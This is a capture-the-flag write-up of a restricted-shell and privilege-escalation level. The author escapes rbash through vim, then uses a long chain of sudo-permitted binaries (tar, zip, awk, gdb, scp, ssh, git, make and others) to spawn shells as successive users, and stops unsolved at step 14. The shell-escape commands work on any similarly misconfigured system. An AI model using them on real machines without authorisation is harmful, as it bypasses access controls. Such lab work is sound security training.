In this challenge we move from one user to another, using privilege escalation methods.
First, we encounter restriced rbash shell:

Using glob and echo, I found out that the file vim exists on step1:
app-script-ch14@challenge02:~$ echo *
app-script-ch14-sudoers step1 step14
app-script-ch14@challenge02:~$ echo step1/*
step1/vim
I tried to execute vim:

It worked. We can spawn a shell, first set the shell:
:set shell=/bin/bash
Then, spawn this shell:
:shell

Let’s add to the PATH variable some paths:
PATH=/bin:/usr/bin:$PATH
Now, we can see that we are a new user:
app-script-ch14@challenge02:~$ id
uid=1314(app-script-ch14) gid=1314(app-script-ch14) groups=1314(app-script-ch14),100(users)
I checked for sudo permissions:
app-script-ch14@challenge02:~$ sudo -l
Matching Defaults entries for app-script-ch14 on challenge02:
env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms,
!mail_no_user
User app-script-ch14 may run the following commands on challenge02:
(app-script-ch14-2) NOPASSWD: /usr/bin/python
Okay, let’s spawn a shell as user app-script-ch14-2 using python:
sudo -u app-script-ch14-2 python -c 'import os;os.system("/bin/bash")'

I checked for sudo permissions:
app-script-ch14-2@challenge02:~$ sudo -l
Matching Defaults entries for app-script-ch14-2 on challenge02:
env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms,
!mail_no_user
User app-script-ch14-2 may run the following commands on challenge02:
(app-script-ch14-3) NOPASSWD: /bin/tar
Using https://gtfobins.org/gtfobins/tar/, we can get shell:
sudo -u app-script-ch14-3 tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

I checked for sudo permissions:
app-script-ch14-3@challenge02:~$ sudo -l
Matching Defaults entries for app-script-ch14-3 on challenge02:
env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms,
!mail_no_user
User app-script-ch14-3 may run the following commands on challenge02:
(app-script-ch14-4) NOPASSWD: /usr/bin/zip
Using https://gtfobins.org/gtfobins/zip/ we can get a shell:
sudo -u app-script-ch14-4 zip /tmp/bla /etc/hosts -T -TT '/bin/bash #'

I checked for sudo permissions:
app-script-ch14-4@challenge02:~$ sudo -l
Matching Defaults entries for app-script-ch14-4 on challenge02:
env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms,
!mail_no_user
User app-script-ch14-4 may run the following commands on challenge02:
(app-script-ch14-5) NOPASSWD: /usr/bin/awk
Using https://gtfobins.org/gtfobins/awk/ we can get shell:
sudo -u app-script-ch14-5 awk 'BEGIN {system("/bin/bash")}'

I checked for sudo permissions:
app-script-ch14-5@challenge02:~$ sudo -l
Matching Defaults entries for app-script-ch14-5 on challenge02:
env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms,
!mail_no_user
User app-script-ch14-5 may run the following commands on challenge02:
(app-script-ch14-6) NOPASSWD: /usr/bin/gdb
Using https://gtfobins.org/gtfobins/gdb/ we can get shell:
sudo -u app-script-ch14-6 gdb -nx -ex '!/bin/bash' -ex quit

I checked for sudo permissions:
app-script-ch14-6@challenge02:~$ sudo -l
Matching Defaults entries for app-script-ch14-6 on challenge02:
env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms,
!mail_no_user
User app-script-ch14-6 may run the following commands on challenge02:
(app-script-ch14-7) NOPASSWD: /usr/bin/pico
We can get privilege escalation on the next way. First, set the spell checker to be /bin/bash:
sudo -u app-script-ch14-7 pico -s /bin/bash
Now, we can write some command, for example /bin/bash, and trigger the spell checker by typing ctrl+T.


I checked for sudo permissions:
app-script-ch14-7@challenge02:~$ sudo -l
Matching Defaults entries for app-script-ch14-7 on challenge02:
env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms,
!mail_no_user
User app-script-ch14-7 may run the following commands on challenge02:
(app-script-ch14-8) NOPASSWD: /usr/bin/scp
Using http://gtfobins.github.io/gtfobins/scp/ we can get shell, with this command:
sudo -u app-script-ch14-8 scp -o 'ProxyCommand=;/bin/bash 0<&2 1>&2' x x:

I checked for sudo permissions:
app-script-ch14-8@challenge02:~$ sudo -l
Matching Defaults entries for app-script-ch14-8 on challenge02:
env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms,
!mail_no_user
User app-script-ch14-8 may run the following commands on challenge02:
(app-script-ch14-9) NOPASSWD: /usr/bin/env
This is how we can get shell:
sudo -u app-script-ch14-9 env /bin/bash

I checked for sudo permissions:
Matching Defaults entries for app-script-ch14-9 on challenge02:
env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms,
!mail_no_user
User app-script-ch14-9 may run the following commands on challenge02:
(app-script-ch14-10) NOPASSWD: /usr/bin/ssh
This is how we can get shell, similar to scp:
sudo -u app-script-ch14-10 ssh -o "ProxyCommand=;/bin/bash 0<&2 1>&2" x

I checked for sudo permissions:
app-script-ch14-10@challenge02:~$ sudo -l
Matching Defaults entries for app-script-ch14-10 on challenge02:
env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms,
!mail_no_user
User app-script-ch14-10 may run the following commands on challenge02:
(app-script-ch14-11) NOPASSWD: /usr/bin/git
This is how we can get shell. First, we open help menu with -p, to open it in less:
sudo -u app-script-ch14-11 git -p help
Now, we type down the next command, and get shell:
!/bin/bash

I checked for sudo permissions:
app-script-ch14-11@challenge02:~$ sudo -l
Matching Defaults entries for app-script-ch14-11 on challenge02:
env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms,
!mail_no_user
User app-script-ch14-11 may run the following commands on challenge02:
(app-script-ch14-12) NOPASSWD: /usr/bin/make
This is how we can get shell. Notice the piping to /dev/tty, otherwise, it won’t work:
sudo -u app-script-ch14-12 make --eval='$(shell /bin/bash > /dev/tty)'

I checked for sudo permissions:
app-script-ch14-12@challenge02:~$ sudo -l
Matching Defaults entries for app-script-ch14-12 on challenge02:
env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms,
!mail_no_user
User app-script-ch14-12 may run the following commands on challenge02:
(app-script-ch14-13) NOPASSWD: /usr/bin/script
This is how we can get shell:
sudo -u app-script-ch14-13 script /dev/null

I checked for sudo permissions:
app-script-ch14-13@challenge02:~$ sudo -l
Matching Defaults entries for app-script-ch14-13 on challenge02:
env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, !mail_always, !mail_badpass, !mail_no_host, !mail_no_perms,
!mail_no_user
User app-script-ch14-13 may run the following commands on challenge02:
(app-script-ch14-14) NOPASSWD: /bin/rbash --
This is how we can get shell:
sudo -u app-script-ch14-14 /bin/rbash --

Again, we are inside rbash. First, I checked for aviliable files in my current dir:
app-script-ch14-14@challenge02:~/step14$ echo ./*
./sl
We have sl, which is some nice train going over the terminal:

However, I’m not sure how to get normal shell, what?